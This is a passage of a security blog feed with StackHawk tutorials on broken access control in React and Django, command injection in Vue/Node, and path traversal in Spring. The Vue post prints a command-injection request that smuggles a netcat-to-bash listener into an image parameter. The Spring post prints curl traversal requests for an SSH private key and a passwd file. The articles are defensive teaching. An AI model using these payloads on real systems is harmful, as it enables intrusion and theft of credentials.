React&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;If a regular user gets access to the admin page, you know what that means. How do you avoid that? The act of avoiding that is broken access control.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;In a nutshell, broken access control is enforcing a limit to &lt;b&gt;what action a delegated user can perform&lt;/b&gt;. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Can an admin user edit a document? Yes. Can a regular user edit the document? No.&lt;/p&gt;&lt;p&gt;How do you enforce that rule and prevent things from going the other way around? In other words, how do you implement access control in this regard?&lt;/p&gt;&lt;p&gt;Your expectations might be high now, but before going all out, you need to ask: what happens when you don’t enforce access control? If access control is not enforced, an attacker can gain unauthorized access to sensitive data like cookie sessions that can break your application. Thus, the integrity of the application&amp;#39;s logic is threatened.&lt;/p&gt;&lt;p&gt;Now that you know what broken access control is and why it matters, let&amp;#39;s take a look at some examples of React broken access control.&lt;/p&gt;&lt;h3&gt;Examples of Broken Access Control in React&lt;/h3&gt;&lt;p&gt;What are examples of broken access control in React and recommended fixes? We&amp;#39;ll take a look at:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;unhandled redirects,&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;insecure direct object reference (IDOR), and&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;inadequate role-based authorization.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;Unhandled Redirects&lt;/h4&gt;&lt;p&gt;Redirects can seem minor when enabled on certain pages in a web application, but as an engineer, you should understand that redirect exists for the greater good. Likewise, granting that the validity of the &lt;b&gt;accessTokens&lt;/b&gt; used during requests to the server is set for a particular period, what happens when the token is invalid? Do you have robust error handling in place to tell the user what to do and return the appropriate response? Or is there a security leak somewhere?&lt;/p&gt;&lt;p&gt;In all honesty, apart from improving the user experience of your web application as a noble act, redirects reduce or eliminate the likelihood of having an unauthenticated request into the system.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Fun fact: Hackers are experts that outsmart the engineer.&lt;/i&gt;&lt;/p&gt;&lt;h4&gt;Insecure Direct Object Reference (IDOR)&lt;/h4&gt;&lt;p&gt;IDOR is an access control vulnerability that occurs when an application fetches resources from an internal database based on a specified identifier without authentication or access control. A real-life scenario is with queries that are taken from URL parameters to fetch data from the server. For example, let&amp;#39;s look at a &lt;b&gt;user_id&lt;/b&gt; query on a URL:&lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.xyz.com/user?user_id=566&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The &lt;b&gt;user_id&lt;/b&gt; parameter in the URL can be changed and, without authentication, send data about the specified &lt;b&gt;user_id&lt;/b&gt;. That&amp;#39;s IDOR in practice.&lt;/p&gt;&lt;h4&gt;Inadequate Role-Based Authorization&lt;/h4&gt;&lt;p&gt;How many types of users can access your system? For instance, let&amp;#39;s consider a freelance platform. In a freelance platform, there are two types of users: buyers and sellers. How do delegated users access the application? Should a buyer have the same access as a seller? Are there other types of users apart from these two?&lt;/p&gt;&lt;p&gt;The assigned routes must handle the roles available in the application. However, if some routes aren&amp;#39;t available or aren&amp;#39;t supported by a user, there should be a base condition set in place to handle this to avoid malware insertion by any means.&lt;/p&gt;&lt;p&gt;How do you handle situations where access control might have been breached?&lt;/p&gt;&lt;h3&gt;How to Fix and Prevent Broken Access Control in React&lt;/h3&gt;&lt;p&gt;There are best practices for both fixing and preventing unhandled redirects, IDOR, and inadequate role-based authorization. To illustrate, let&amp;#39;s see some measures you can implement to secure your React application against broken access control.&lt;/p&gt;&lt;h4&gt;How Do You Handle Redirects in React? (Prevention)&lt;/h4&gt;&lt;p&gt;The React library&lt;a href=&quot;https://www.npmjs.com/package/react-router-dom&quot;&gt; &lt;u&gt;react-router-dom&lt;/u&gt;&lt;/a&gt; provides a redirect function. For those of you coming from a non-React background, react-router-dom is a React library that handles page routing in the DOM efficiently. Other frameworks like Vue also have their routing methods.&lt;/p&gt;&lt;p&gt;If you haven’t used react-router-dom before for handling authentication, here’s a simple implementation:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;The code snippet above implements the &lt;b&gt;isAuth()&lt;/b&gt; function using the &lt;b&gt;useAuth()&lt;/b&gt; hook to check if the user is authenticated. (The &lt;b&gt;useAuth()&lt;/b&gt; hook is basically to check for the user authentication credentials and verify their validity under the hood.) However, if the user is not authenticated, the &lt;b&gt;Redirect&lt;/b&gt; function is called to redirect the user to the login page to gain access.&lt;/p&gt;&lt;p&gt;A real-life example of this is if you try to perform an action on Twitter without being logged in. Twitter redirects you to the login page to see if you have the right permissions before granting you access.&lt;/p&gt;&lt;h4&gt;How to Prevent IDOR in React&lt;/h4&gt;&lt;p&gt;Next, let&amp;#39;s talk about IDOR. How can you prevent IDOR vulnerabilities in your application?&lt;/p&gt;&lt;p&gt;Here are some tips:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Avoid displaying key details like IDs, filenames, and the like in the URL as much as possible.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Request authorization upon every request. This can be done by always checking if the request being made is authenticated. In short, you can implement this by adding an auth middleware to all required routes. That way, before serving the resources on an endpoint, the middleware verifies that the user’s credentials are valid. An example of the implementation but in another context is with redirects, as I explained earlier.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;To sum it up (for IDOR), hide as many process implementations from the user as possible. Let users be users and feel like it.&lt;/p&gt;&lt;p&gt;Apologies if the last sentence was a bit stern. Security issues are to be treated with the gravity of the consequences in mind. On to the next!&lt;/p&gt;&lt;h4&gt;How to Handle Inadequate Role-Based Authorization&lt;/h4&gt;&lt;p&gt;The last React broken access control vulnerability we&amp;#39;ll discuss is inadequate role-based authorization. To implement role-based authorization, we&amp;#39;ll use a navigation tab for a login page:&lt;/p&gt;&lt;p&gt;&lt;code&gt;const tabs = [
{ label: &amp;#39;Patient&amp;#39;, value: &amp;#39;patient&amp;#39; },
{ label: &amp;#39;Staff&amp;#39;, value: &amp;#39;staff&amp;#39; },
];&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Next, a login function that gets the current tab authenticates the user based on the value:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;I used the&lt;a href=&quot;https://www.npmjs.com/package/formik&quot;&gt; &lt;u&gt;Formik&lt;/u&gt;&lt;/a&gt; library for form handling in place of using individual states. With respect to the dependencies building up, this might not be the best approach if you&amp;#39;re working on a simple app. However, Formik allows us to use&lt;a href=&quot;https://www.npmjs.com/package/yup&quot;&gt; &lt;u&gt;Yup&lt;/u&gt;&lt;/a&gt; for input validation. In other words, we&amp;#39;re writing less code while also enforcing input validation on the front end.&lt;/p&gt;&lt;p&gt;The &lt;b&gt;submitLogin()&lt;/b&gt; function handles the second aspect of the user authorization into the system. Firstly, a condition is set in place to check the selected login tab, after which the &lt;b&gt;submitLogin()&lt;/b&gt; function takes in the required parameters, including the input values that Formik handled and validated.&lt;/p&gt;&lt;p&gt;However, the point of focus here is the patient/staff login, not the libraries used. In other words, the login workflow is our major concern. So, what happens in the login workflow?&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;The code checks the user logging in and verifies that the credentials are correct.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Then, the &lt;b&gt;submitLogin()&lt;/b&gt; function authenticates the user.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The code example above is one way you can implement role-based access control in React. Other ways include React Context API and Redux.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;Conclusion&lt;/h3&gt;&lt;p&gt;React broken access control requires good inspection. Sometimes it might require professional software testers to work around your application to make sure it&amp;#39;s bulletproof. In this post, I&amp;#39;ve covered three ways broken access control can manifest. I&amp;#39;ve reviewed those three instances and explained how to prevent them. We also went over how to handle the vulnerabilities both in theory and in practice.&lt;/p&gt;&lt;p&gt;If you take anything from this post, let it be this:&lt;/p&gt;&lt;p&gt;Nothing, absolutely nothing! Take the ability to probe everything and apply the security concepts you learn everywhere in software development.&lt;/p&gt;&lt;p&gt;That was a little out of context, yeah? Now you can have this to probe:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Always the roles when authenticating routes.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Avoid creating too many roles (simplify them as much as possible).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;If you implement role-based access control in your application, ensure that it exists across all routes.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;I hope you learned something new about React broken access control. See you around!&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Teniola Fatunmbi. &lt;/i&gt;&lt;a href=&quot;https://twitter.com/devteni&quot;&gt;&lt;u&gt;&lt;i&gt;Teniola&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is a computer science undergraduate and backend developer. He’s a JavaScript lover, a python nerd, and he likes to explore how data is used in software engineering.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Vue Command Injection: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/vue-command-injection-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Working on the web has never been easier and more engaging than now. And for those who are privileged enough to have the skills and have put in the hours to develop themselves, the opportunities are out there.  &lt;/p&gt;&lt;p&gt;Being an exceedingly productive developer keeps getting easier. But as our leverage grows, so do the threats and liabilities we need to mitigate. Thus, our expertise needs to grow and meet those challenges. &lt;/p&gt;&lt;p&gt;For that purpose, we have created a series of articles tackling the most common security threats and how to mitigate them effectively. These articles cover an extensive range of topics and technologies so that no matter what your stack of choice is, we have an article for you. This article will cover the topic of command injection in the context of Vue.js. We will use Node.js as our runtime and controller layer, including Vue.js as the view framework. &lt;/p&gt;&lt;p&gt;If you have no experience with any of these technologies, we recommend that you take a quick look at these guides to &lt;a href=&quot;https://nodejs.dev/en/learn/introduction-to-nodejs/&quot;&gt;&lt;u&gt;Node.js&lt;/u&gt;&lt;/a&gt; and &lt;a href=&quot;https://vuejs.org/v2/guide/&quot;&gt;&lt;u&gt;Vue.js&lt;/u&gt;&lt;/a&gt; to familiarize yourself with them. We will not be going too deep into the specifics of these technologies, but a basic understanding of JavaScript and the concepts of these stacks is required. We promise it won&amp;#39;t take too long. You will learn some cool stuff too. If, however, your expertise lies in another development stack, please read our other &lt;a href=&quot;https://www.stackhawk.com/blog/&quot;&gt;&lt;u&gt;articles&lt;/u&gt;&lt;/a&gt; and find your flavor of choice. &lt;/p&gt;&lt;p&gt;Without further ado, let&amp;#39;s get to it. &lt;/p&gt;&lt;h2&gt;Introduction to Vue.js&lt;/h2&gt;&lt;p&gt;Alright, so let&amp;#39;s first briefly explore how to set up our Vue.js project. This will be the project we will be working on for this article. &lt;/p&gt;&lt;p&gt;Building a Node.js project with Vue.js is deceptively easy. First, let&amp;#39;s create our Node.js app using &lt;b&gt;express-generator&lt;/b&gt;. If you don&amp;#39;t have the &lt;b&gt;express-generator&lt;/b&gt;, you can install it with the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;npm install -g express-generator&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Once installed, you can proceed to create our project app by running the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;express demo_vue_app --no-view&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This command will generate a boilerplate app called &lt;b&gt;demo_vue_app&lt;/b&gt; with everything you need and no view engine. If you want to use a specific view engine, you can use the &lt;b&gt;-v&lt;/b&gt; flag to pick one. &lt;/p&gt;&lt;p&gt;Great! Now that we created the project, we need to install the dependencies required for running. Just run the following command while inside the project folder: &lt;/p&gt;&lt;p&gt;&lt;code&gt;npm install&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Finally, you can just run the project and see the website running with the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;npm start&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This results in the following:&lt;/p&gt;&lt;p&gt;The result of the above code&lt;/p&gt;&lt;p&gt;Yay! &lt;/p&gt;&lt;p&gt;One last thing. To add Vue.js to our project, you need only add the following tag to the index.html file: &lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;!-- development version, includes helpful console warnings --&amp;gt;
&amp;lt;script src=&amp;quot;https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;And that&amp;#39;s pretty much it, really. &lt;/p&gt;&lt;p&gt;Now we can start. &lt;/p&gt;&lt;h2&gt;What Is Command Injection?&lt;/h2&gt;&lt;p&gt;So, what is command injection? &lt;/p&gt;&lt;p&gt;Command injection, or code injection, is a particular kind of injection attack where an attacker sends JavaScript or Node.js code to the server in an attempt to seize control over it. The browser or the Node.js runtime then interprets this malicious code, and it can&amp;#39;t distinguish between the code the developer intended and the code that the attacker provided as input. &lt;/p&gt;&lt;p&gt;The main reason this attack can escalate and jeopardize the server&amp;#39;s stability is the ability of Node.js to run commands in the OS. Internally, Node.js contains a module called &lt;b&gt;child_process&lt;/b&gt;. This allows JavaScript code to run programs, as well as communicate with them through standard I/O provided by the underlying operating system. In addition, users can often start such programs interactively using the command line interface.  &lt;/p&gt;&lt;p&gt;Moreover, the ability to make use of the &lt;b&gt;child_process&lt;/b&gt; module to run external processes dramatically enhances the power of the Node.js standard library.  &lt;/p&gt;&lt;p&gt;Of course, this can be our Achilles&amp;#39; heel if we are not careful with our security and implementation.&lt;/p&gt;&lt;h2&gt;Command Injection Example&lt;/h2&gt;&lt;p&gt;Now that we know what command injection is, let&amp;#39;s see an example. &lt;/p&gt;&lt;p&gt;Assuming that our victim application uses a function that uses the aforementioned &lt;b&gt;child_process&lt;/b&gt; module—say, the &lt;b&gt;exec&lt;/b&gt; Node.js function or the &lt;b&gt;eval&lt;/b&gt; JavaScript function—then an attacker can reach our server command line by simply appending commands to the request. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;An excellent example of this is the following: &lt;/p&gt;&lt;p&gt;&lt;code&gt;curl http://localhost:3000/index?image=prof.png;nc%20-l%205656%20|/bin/bash&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In this request, you can see that the attacker is trying to run the following command: &lt;/p&gt;&lt;p&gt;&lt;code&gt;nc -l 5656 | /bin/bash&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This command, called &lt;b&gt;netcat&lt;/b&gt;, can run arbitrary code on our server on behalf of the attacker and do significant damage. &lt;/p&gt;&lt;h2&gt;Fixing Command Injection Vulnerabilities&lt;/h2&gt;&lt;p&gt;So then, how do we go about preventing this from happening? &lt;/p&gt;&lt;p&gt;The first line of defense is incredibly effective against this kind of threat, and that is to do away with using functions that execute commands at a low level altogether.  &lt;/p&gt;&lt;p&gt;Avoid &lt;b&gt;eval()&lt;/b&gt;, &lt;b&gt;exec()&lt;/b&gt;, &lt;b&gt;setTimeout()&lt;/b&gt;, &lt;b&gt;setInterval()&lt;/b&gt;, and any other function that allows dynamic code, unless absolutely necessary. Additionally, avoid new &lt;b&gt;Function()&lt;/b&gt; for reasons that should be obvious at this point. &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Once you have done that, make sure to employ some input sanitization mechanism for any user input that your application allows. As a general rule of thumb, it is essential to restrict and regulate all avenues of user input that our application provides. For example, look for ways to change dynamic input into fixed selection. And make sure to safelist all input to sensitive functionalities. &lt;/p&gt;&lt;h3&gt;Other Flaws&lt;/h3&gt;&lt;p&gt;Additionally, avoid using code serialization in JavaScript. Yes, it is a thing, and no, you shouldn&amp;#39;t overlook it. Thankfully, chances are that you won’t need to code your own serialization and deserialization solution for your platform. However, in the vast library of npm exists more than 1,600,000 open-source packages ready to be used, and one of them might end up implementing a form of serialization. If we are not careful with what we bring to our platform, we might introduce unnecessary vulnerabilities to our code. &lt;/p&gt;&lt;p&gt;Finally, make use of security analysis tools like StackHawk and regularly scan your application for injection vulnerabilities. &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; tests your applications, services, and APIs for any security vulnerabilities that may have been introduced by your team, and it also checks for exploitable open-source security bugs. This means that application security can keep up with the fast pace that engineering teams of today have to maintain. Use StackHawk to find vulnerable spots at the pull request and fix them quickly, leaving outdated security tools in the dust as they wait for someone to start a scan manually. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Final Thoughts&lt;/h2&gt;&lt;p&gt;Making attractive and robust applications for our clients is now a breeze with technologies like Node.js and Vue.js. Having extensive expertise and history on these development stacks is becoming more and more attractive every year. &lt;/p&gt;&lt;p&gt;Gone are the days when countless hours and thousands of dollars needed to be invested in building the know-how. Instead, producing a mid-size production-ready product is now an affair that a single individual could potentially carry out. &lt;/p&gt;&lt;p&gt;Nevertheless, it is essential to know that, despite the enormous leverage and versatility that these development stacks offer, it is still crucial to keep an eye on our security. Now that JavaScript is such a mature and robust language, there are many things that can be done to solve our vulnerability issues. Therefore, finding and choosing a simple and adequate solution is important without introducing unnecessary complexity. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Spring Path Traversal Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/spring-path-traversal-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In creating robust and reliable web solutions for our clients, we developers must be informed of the web&amp;#39;s myriad of exploits and vulnerabilities. Protecting our platforms from the extensive list of threats is undoubtedly a daunting task. That task demands years of experience and preparation.  &lt;/p&gt;&lt;p&gt;However, knowing that should not prevent you from addressing the problem. After all, comprehensive resources that can guide you exist all over the net. &lt;/p&gt;&lt;p&gt;This article aims to address the specific threat that targets the directory access security of our system—path traversal vulnerabilities. In addition, this article will provide a short but comprehensive guide for understanding path traversal attacks. Moreover, we will explore how we can mitigate their impact with Java and Spring. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;We will start by briefly explaining what path traversal attacks are. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Then we will examine some basic examples. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Lastly, we will provide some mitigating strategies for these exploits.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By the end of this article, you should have a basic comprehension of what path traversal attacks are and be able to implement mitigation strategies in your platform. &lt;/p&gt;&lt;p&gt;Note that we crafted this article for Spring developers in particular. Therefore, we expect that you have prior knowledge of the Spring development stack. However, if you haven&amp;#39;t dipped your toes into it yet, please check &lt;a href=&quot;https://spring.io/guides/gs/spring-boot/&quot;&gt;&lt;u&gt;this Spring Boot guide&lt;/u&gt;&lt;/a&gt; for more information.&lt;/p&gt;&lt;h2&gt;Building a Simple Spring Boot Project&lt;/h2&gt;&lt;p&gt;Before we get into the nitty-gritty, we think it is important to briefly go about building a simple Spring Boot web project for Java. All you will need is a JDK installed, either Gradle or Maven, and your favorite IDE. &lt;/p&gt;&lt;p&gt;To expedite the process, we will start by going to the &lt;a href=&quot;https://start.spring.io/&quot;&gt;&lt;u&gt;Spring Initializr &lt;/u&gt;&lt;/a&gt;to get our start-up project. Remember to select &amp;quot;Spring Web&amp;quot; as a dependency before downloading the zip file. &lt;/p&gt;&lt;p&gt;Once you have done this, proceed to the &lt;b&gt;src/main/java/com/example/demo&lt;/b&gt; folder and create a class file called &amp;quot;HelloController.java.&amp;quot; &lt;/p&gt;&lt;p&gt;In it, just input the following code: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;There you go, that&amp;#39;s all you need. You can proceed to run the code and go to &lt;b&gt;localhost:8080&lt;/b&gt;, and your page will load. &lt;/p&gt;&lt;h2&gt;Explaining Path Traversal&lt;/h2&gt;&lt;p&gt;Path traversal in itself is a simple concept to grasp. However, it is crucial to properly understand the underlying mechanisms that enable this kind of exploit to work so we can mitigate its impact and damage. &lt;/p&gt;&lt;p&gt;Path traversal is an attack that exploits weak access control implementations on the server side, particularly for file access. In these attacks, an attacker would try to access restricted files by injecting invalid or malicious input into the website. You can think of it as SQL injection but on directories instead of databases. &lt;/p&gt;&lt;p&gt;If the attacker succeeds at their endeavor, that would be pretty terrible for our platform, as it would basically compromise the whole server. Goodbye, security and service. &lt;/p&gt;&lt;p&gt;In this article, we go into more detail about the peculiarities that make this vulnerability possible and why it even matters what system your server is running in.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s proceed to examine some path traversal attack examples. &lt;/p&gt;&lt;h2&gt;Path Traversal Attack Examples&lt;/h2&gt;&lt;p&gt;Now that we have a basic understanding of path traversal, what does an attack actually look like? &lt;/p&gt;&lt;p&gt;Well, something as simple as this: &lt;/p&gt;&lt;p&gt;&lt;code&gt;curl http://mysecuresite.com/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Shockingly simple, right? &lt;/p&gt;&lt;p&gt;As you can see, the main goal is to get access to unauthorized folders in your server. With a basic understanding of path logic, Linux, or the command line, an attacker can go places on an application that is not protected.  &lt;/p&gt;&lt;p&gt;Now, let&amp;#39;s see some examples. &lt;/p&gt;&lt;h3&gt;Relative Path Attack&lt;/h3&gt;&lt;p&gt;A relative path attack works by exploiting the existing user input validation, or lack thereof. Much like how we illustrated above, attackers might try to access restricted directories in the server by inputting special characters or encoded strings.  &lt;/p&gt;&lt;p&gt;In this case, the &lt;b&gt;id_rsa&lt;/b&gt; file contains valuable information on the server. To mitigate this vulnerability, we simply have to make sure to implement proper user input validation in every avenue.  &lt;/p&gt;&lt;p&gt;Sanitizing the user input and using &lt;b&gt;path.normalize()&lt;/b&gt;—something you should always do, by the way—can go a long way in preventing a catastrophe and saving yourself from a lot of headaches and problems down the road. &lt;/p&gt;&lt;h3&gt;Poison Null Bytes Attack&lt;/h3&gt;&lt;p&gt;If you don&amp;#39;t know what a null byte is, don&amp;#39;t worry. It&amp;#39;s not as complicated as it sounds. A null byte represented as &lt;b&gt;\0&lt;/b&gt; is an encoded character that is usually not visible and is used only for encoding purposes.  &lt;/p&gt;&lt;p&gt;By appending the &lt;b&gt;\0&lt;/b&gt; at the end of an URL in an HTTP request, the attacker can bypass the string validation used to sanitize user input and get access to unauthorized files and directories. &lt;/p&gt;&lt;p&gt;What would that look like in code? Well, something like this:&lt;/p&gt;&lt;p&gt;&lt;code&gt;curl http://mysecuresite.com/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/passwd%00&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Notice here that the &lt;b&gt;%00&lt;/b&gt; that lies at the end would potentially cause our poor validation to end up translating to something like&lt;b&gt; \0.txt\0&lt;/b&gt; and giving access to the &lt;b&gt;passwd&lt;/b&gt; file. Yikes! &lt;/p&gt;&lt;p&gt;Yet preventing this kind of attack from besting our security is simple enough. We need only to validate the user input. &lt;/p&gt;&lt;p&gt;We can achieve that with the following code: &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Well, that seems simple, right? &lt;/p&gt;&lt;p&gt;The truth is that path traversal attacks are not incredibly sophisticated in their implementation. Instead, as mentioned before, they depend on inadequate access control mitigations or library vulnerabilities introduced by inadequately maintained code.  &lt;/p&gt;&lt;p&gt;However, it&amp;#39;s important to remember that they can still be very dangerous, and we should mitigate them as much as possible. Naturally, we don&amp;#39;t want our users to be mingling on protected directories and accessing sensitive files. Therefore, it is vital to implement these checks whenever possible.  &lt;/p&gt;&lt;p&gt;The good news is that it is not difficult to do so. &lt;/p&gt;&lt;h2&gt;Mitigating Path Traversal Vulnerabilities&lt;/h2&gt;&lt;p&gt;Commonly, our development kits, packages, and libraries are pretty robust and have already implemented many layers of protection against path traversal. However, there is always the possibility that we introduce a vulnerability in our code unintentionally.  &lt;/p&gt;&lt;p&gt;What if you need to allow some degree of traversal in your application? &lt;/p&gt;&lt;p&gt;There could be situations where your client requires the application to allow the user to locate files in different folders, such as profile pictures and essays. You could, of course, implement hardcoded path validations used when requesting particular resources. But, by doing so, you could potentially open yourself to prefix path traversal attacks. &lt;/p&gt;&lt;h3&gt;Path Prefix Validation&lt;/h3&gt;&lt;p&gt;In this particular scenario, an attacker could easily traverse the directories in the server by inputting dots and slashes in the application.  &lt;/p&gt;&lt;p&gt;In order to mitigate the attack mentioned above, we must validate the user input and ensure that it does not contain invalid characters. We can then either strip them from the string or return an error. &lt;/p&gt;&lt;h3&gt;Safelisting&lt;/h3&gt;&lt;p&gt;Safelisting consists of creating a list of possible paths that can be accessed safely and comparing all imputed strings with their values.  &lt;/p&gt;&lt;p&gt;For example, if you designed your application to create and use files named with lowercase alphanumeric characters, you can validate that the user input conforms to this standard.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Safelisting is a simple and comparatively effective approach to reducing the potential for exploits. By adding this validation to user inputs, you can have an extra layer of protection against malicious attacks.  &lt;/p&gt;&lt;p&gt;Validations in an integrated development environment&lt;/p&gt;&lt;p&gt;As you can see in this example, we can achieve a decent amount of protection with some simple validations. However, keep in mind that the best defense is still to restrict user input and only allow specific controlled access when absolutely necessary. &lt;/p&gt;&lt;p&gt;Finally, there are countless approaches we can take to close the possible gaps in our security. However, if you want to find specific solutions for your particular use case, you can undoubtedly depend on the solid and extensive Java documentation base and community. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Last Thoughts&lt;/h2&gt;&lt;p&gt;Being that Java is now a pretty mature and battle-tested language, there are endless ways to solve this particular vulnerability. Therefore, it&amp;#39;s crucial to find and choose an approachable and effective solution that satisfies your needs and doesn&amp;#39;t introduce excessive complexity. And, as always, make sure to test your approach and implementation adequately. &lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Django Broken Access Control Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/django-broken-access-control-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;In this post, we&amp;#39;ll go over what broken access control is, offer some examples of it, and look at some of the ways we can improve the security of our Django applications. Hopefully, you&amp;#39;ll learn something useful that you can apply to your Django projects. &lt;/p&gt;&lt;h2&gt;Broken Access Control&lt;/h2&gt;&lt;p&gt;First up, we&amp;#39;ll define broken access control and look at some of the forms it takes. &lt;/p&gt;&lt;p&gt;Broken access control describes the exploitation of access control management by attackers and bad actors. The security of web applications is paramount for every business. Users want to know that their data is secure and private. With this in mind, we should design web applications for privacy, integrity, and data security. &lt;/p&gt;&lt;h3&gt;Types of Broken Access Control&lt;/h3&gt;&lt;p&gt;Some known vulnerabilities of broken access control include the following: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Manual app state modification.&lt;/b&gt; These modifications could be URL modification, browser cookies and sessions, or the use of custom API attack tools.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Key identifier change.&lt;/b&gt; This allows the alteration of key identifiers, like the user’s primary key, in such a way that gives unwanted access to another user to perform actions otherwise unauthorized.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Privilege escalation.&lt;/b&gt; This is a known method of attack where an attacker logs into a business database as an administrator. This attack can take the form of acting as an authenticated user without authentication.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Metadata manipulation.&lt;/b&gt; This form of exploitation involves modifying or invalidating an application&amp;#39;s metadata, such as the JSON Web 